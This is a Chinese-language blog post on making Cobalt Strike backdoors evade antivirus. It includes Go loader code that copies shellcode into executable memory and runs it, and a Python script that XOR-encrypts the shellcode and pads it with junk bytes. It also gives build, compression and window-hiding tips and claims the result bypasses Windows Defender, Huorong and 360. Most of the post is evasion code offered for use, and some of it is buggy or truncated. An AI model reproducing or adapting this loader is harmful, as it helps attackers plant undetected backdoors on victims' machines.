go免殺初探

Lushun發表於2021-02-13

0x01 go免殺

由於各種av的限制,我們在後門上線或者許可權持久化時很容易被殺軟查殺,容易引起目標的警覺同時暴露了自己的ip。尤其是對於windows目標,一個免殺的後門極為關鍵,如果後門檔案落不了地,還怎麼能進一步執行呢?關於後門免殺,網上的介紹已經很多了,原理其實大同小異。看了很多網上的案例,發現網上比較多都是用C/C++和python來進行免殺,但是很多已經被殺軟看的死死的,
非常容易就被識別出來了,那我想能不能用一種稍微小眾一點的語言來寫免殺呢,這裡就不得不說到go語言。
Go語言專門針對多處理器系統應用程式的程式設計進行了優化,使用Go編譯的程式可以媲美C或C++程式碼的速度,而且更加安全、支援並行程式。而且go語言支援交叉編譯可以跨平臺。
本文基於cobalt strike生成的.c檔案來進行免殺測試。

0x02 免殺測試

首先生成成一個.C檔案


這裡先貼一個最原始的go載入程式碼

package main

import (
	"syscall"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40 // 區域可以執行程式碼,應用程式可以讀寫該區域。
)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
	xor_shellcode := []byte{0x89, 0x3d, 0xf6, 0x91, 0x85, 0x9d, 0xb9, 0x75, 0x75, 0x75, 0x34, 0x24, 0x34, 0x25, 0x27, 0x24, 0x23, 0x3d, 0x44, 0xa7, 0x10, 0x3d, 0xfe, 0x27, 0x15, 0x3d, 0xfe...}

	addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

這裡注意:因為殺軟對直接載入shellcode的一般都是落地秒,所以我們得換種方式,將shellcode混淆加密後再解密來使用。
加密和混淆經常使用的有異或加密,AES加密,或者新增隨機字元等。
但是隨著現在使用這種方法的人越來越多,殺軟檢測力度也越來越大,所以現在混淆的關鍵就是方式儘量要小眾,或者自己寫加密方法。
這裡有個好的地方就是,現在網上實現加密混淆操作的大都是使用C/C++來完成的,有些比較好的思路用C/C++實現可能會被殺軟攔截,但是如果把它移植到go上面說不定就有不一樣的效果。
先從整個shellcode混淆的指令碼

def xor(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 對shellcode的每一位進行xor亦或處理
    for i in range(0, len(shellcode)):
        s = ord(shellcode[i])
        p = ord((key[i % key_len]))
        s = s ^ p  # 與p異或,p就是key中的字元之一
        s = chr(s) 
        new_shellcode += s
    return new_shellcode

def random_decode(shellcode):
    j = 0
    new_shellcode = ""
    for i in range(0,len(shellcode)):
        if i % 2 == 0:
            new_shellcode[i] = shellcode[j]
            j += 1

    return new_shellcode

def add_random_code(shellcode, key):
    new_shellcode = ""
    key_len = len(key)
    # 每個位元組後面新增隨機一個位元組,隨機字元來源於key
    for i in range(0, len(shellcode)):
        #print(ord(shellcode[i]))
        new_shellcode += shellcode[i]
        # print("&"+hex(ord(new_shellcode[i])))
        new_shellcode += key[i % key_len]

        #print(i % key_len)
    return new_shellcode

# 將shellcode列印輸出
def str_to_hex(shellcode):
    raw = ""
    for i in range(0, len(shellcode)):
        s = hex(ord(shellcode[i])).replace("0x",',0x')
        raw = raw + s
    return raw

if __name__ == '__main__':
    shellcode = ""
    # 這是異或和增加隨機字元使用的key
    key = "iqe"
    print(shellcode[0])
    print(len(shellcode))
    # 首先對shellcode進行異或處理
    shellcode = xor(shellcode, key)
    print(len(shellcode))

    # 然後在shellcode中增加隨機字元
    shellcode = add_random_code(shellcode, key)

    # 將shellcode列印出來
    print(str_to_hex(shellcode))

加密shellcode後,再使用go語言載入混淆後的shellcode,先解密再執行。

package main

import (
	"fmt"
	"syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40 // 區域可以執行程式碼,應用程式可以讀寫該區域。

)

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
	mix_shellcode := []byte{0x95,0x69,0x39,0x71,0xe6,0x65}
	var ttyolller []byte
	key := []byte("iqe")
	var key_size = len(key)
	var shellcode_final []byte
	var j = 0
	time.Sleep(2)
	// 去除垃圾程式碼
	fmt.Print(len(mix_shellcode))
	for i := 0; i < len(mix_shellcode); i++ {
		if (i % 2 == 0) {
			shellcode_final = append(shellcode_final,mix_shellcode[i])
			j += 1
		}
	}
	time.Sleep(3)
	fmt.Print(shellcode_final)
	// 解密異或
	for i := 0; i < len(shellcode_final); i++ {
		ttyolller = append(ttyolller, shellcode_final[i]^key[i % key_size])
	}
	time.Sleep(3)
	addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	time.Sleep(3)
	_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
	if err != nil && err.Error() != "The operation completed successfully." {
		syscall.Exit(0)
	}
	syscall.Syscall(addr, 0, 0, 0, 0)
}

直接go build生成exe檔案
生成的檔案大概有2M,再經過UPX壓縮後大概只有1M,這比python生成的要小很多了。

靜態完美過WindowsDefender,火絨和360全家桶


可以正常上線

VT查殺率71/8

可以看到國內的就一款殺軟查出來了

後記

用go編譯的exe檔案執行後會彈出黑框這裡有兩個解決辦法

  • 在initial_beacon中設定auto migrate,但還得連帶把initial sleep設定成儘可能短
  • build時新增操作選項:-ldflags="-H windowsgui"

參考

https://payloads.online/archivers/2019-11-10/1
https://saucer-man.com/operation_and_maintenance/465.html#cl-5
http://iv4n.cc/go-shellcode-loader/#shellcode-loader
https://payloads.online/archivers/2019-11-10/3

相關文章